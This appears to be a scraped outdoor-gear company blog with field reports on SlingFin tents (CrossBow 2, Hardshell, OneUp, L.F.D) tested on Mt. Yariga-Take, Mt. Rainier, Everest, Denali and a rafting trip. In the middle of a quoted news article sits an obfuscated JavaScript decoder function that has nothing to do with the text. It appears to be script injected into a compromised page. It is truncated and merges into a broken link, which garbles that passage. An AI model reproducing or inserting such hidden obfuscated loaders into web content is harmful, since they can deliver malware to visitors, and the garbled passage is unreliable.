Product testing of the SlingFin CrossBow 2 tent on Mt. Yariga-Take (Japan)

Our Korean Superstar Jin recently took 2 protos of the CrossBow 2 tent on his recent summit of Mt. Yariga-Take in the Japan North Alps. Here are some photos and feedback from his trip.

Performance wise, these two tents were OUTSTANDING with proper setup.

o There was very strong wind all through the night on top of the Mt. Yariga-Take because of typhoon but both tents performed well with no issue at all.

o There is no question that CrossBow2 tent is very strong with trekking pole setup but even with wing pole setup (supposed to be weakest setup), I didn’t see any issue even under typhoon, if setup properly (proper pitching and guying)

Light Weight Tents! Love it!

o Both tent were light (2.1kg and 2.5kg)! That’s really good weight as strong double wall tent that we can actually use for 4 seasons!

o All the mesh pockets inside were VERY useful as always!

o Tent body provided me more than enough space for solo climbing with very comfortable headroom as well

o Vestibule provided me big space to hold 2x100L back-packs. Great!

The Rouge River.

verdant |ˈvərdnt| adjective (of countryside) green with grass or other rich vegetation. • of the bright green color of lush grass : a deep, verdant green.

Every time I  head to oregon I am quickly reminded of its beauty, verdancy and abundance of generally nice people.

This trip was no exception, and what a trip it was. It was a good thing that we were packed to go rafting, having all the drybags and wet weather gear really came in handy when it decided to rain for days on end.

When it comes to gear testing there was no better time to be on the river. The OneUp was a great asset when it came to hanging up all that wet gear from the internal guy lines, and the roll back floor allowed the water to drip right back on to the sand.

As usual everywhere we go people want to know.. What is that structure? We got asked that question buy just about every group that passed us, but this one fellow asked us for our website and I hollered SLINGFIN.COM! I was sure he didn't hear me as he rushed down river, but sure enough a few days later this picture popped up in our inbox.. As it turns out his name was Steve Roelof, and on top of having great hearing, he takes stunning river shots & has a site called http://www.westernriverimages.com/ it is filled with beautiful pics.

Prototype development on Mt.Rainier.

Michael Horst is a mountaineer who has recently added a page to mountaineering history.

This past May he summited Everest and Lhotse in 21 hours, making him the first human to accomplish such a feat.  He was followed by another team of climbers led by Garett Madison, who were using the L.F.D on their expedition.

Being a good friend of SlingFin and with his recent accomplishments, we offered Michael a prototype of a tent we are developing called the Hardshell.

The Hardshell is the smallest of our alpine tent line designed to be pushed up high on the mountain and shelter 3-4 climbers and gear. Built around the Webtruss the Hardshell has all the advantages of the OneUp in a smaller lighter package and a full pole supported vestibule.

Michael got the Hardshell to 11,000ft at Ingraham Flats on Mt.Rainier and came back with great reviews and some stunning photos. This little fortress is in the final stages of development and with its recent performance in the field, we are certain it will be a driving force as strong as those it was designed to withstand.

We are also working on a few other models and if you look closely at the album on Facebook you may be able to spot them...

Tell me what you find and ill send you a sticker!

Happy Trails.

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OneUp on Rainier

 

 

 

 

The OneUp on a bluebird day. Mt. Rainier.

While the SlingFin crew was going through the paces on the “river of no return“…

The OneUp was getting put through the paces on Mt. Rainier.

One of the main goals of SlingFin is to produce the best gear possible with inferred design principals from real users, guides, and outdoor professionals.

The best way to do this is simple. Get the gear to the mountain and into a guides pack... Then tell them to beat it up.

The guides using the tents had some great responses to the design of the tent, and some even better ideas and feedback!

Yet another photo of a big mountain where all the tents in view were designed by Martin Zemitis.

Lions & Tigers & Spindrift… OH MY!


The OneUp is setting the standard for versatility in shelter systems.

THE ONEUP IN CMP 1. LOTSE NUPTSE AND THE WEST SHOULDER OF EVEREST IN THE BACKGROUND

 

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The OneUP at Wildcat Camp 6, Point Reyes California.

The OneUp on Denali, With a crowd of guides checking out the goods.

 

With a debut on Everest and rigorous testing accross the varied climates of California, then off to Denali... Whats next?

The OneUp on the Carson River during the SlingFin rafting trip.

AFRICA!

If somebody told me they were planing on taking a 4-season expedition tent on a trek through Africa, I would say that they need to have their head examined... Unless that tent was the OneUp.

 

The basic principle that the OneUp is based on; the WebTruss, is at the core of what makes this shelter so functional across the range of climates we have put it through to date.

More to come =D

SlingFin is making headlines!

No, its not because of the reports of U.F.O sightings on Gilman St..

The outer shell of a OneUP suspended above the inner tent.

 

 

It’s about L.F.D sightings on Everest!

The L.F.D in Camp 2 (21,300 ft) Photo- Mountain Trip.

“When a team of climbers reached the summit of Mount Everest on Thursday, they had a significant advantage over other teams this spring, many of whom were forced to turn back short of the world’s tallest peak by bad weather.”…..

 

……”Our goal is not to build this business up and sell it off. We're not a marketing company; we're a product-driven company that in the long run will translate into relationships with the people who appreciate this gear and will support it. In the short run it will be very challenging, but this is the way to properly brand the business in the long run." function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oetribune/localnews/ci_18105930">Read the entire article here.

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The OneUp: Not just for Everest.

Jim praising the waterfall

This past Weekend I had the chance to take a OneUp out to Point Reyes for a short backpacking trip with some friends. We hiked out to Wildcat camp which just happens to sit on a two mile unspoiled beach with a waterfall that shoots off the cliffs in to the ocean.

The OneUP at Wildcat Camp 6, Point Reyes Califorina

 

This structure never fails to impress me, every time I take it on a trip The OneUp gives me another reason I should  sell all my other tents and stop waisting time thinking about what  to bring on my next trek. This is the most versatile shelter I have ever inhabited. The OneUp adapts to the surrounding environment allowing you to actually occupy your tent during the heat of the day.

The fact that the Webtruss is a totally independent structure is what sets The OneUp apart from every other tent on the market.  The main goal of this structure is to be super versatile, think of the Webtruss as an exoskeleton that can adapt to your needs. 

Say it's raining and your group needs a place to eat: Just stretch the fly over the frame and bingo you have a massive "single wall" floorless tent that will fit 5 people with room to spare! When you are done just reattach the inner tent body and you have a fully enclosed double wall bomb shelter, with two huge freestanding vestibules.

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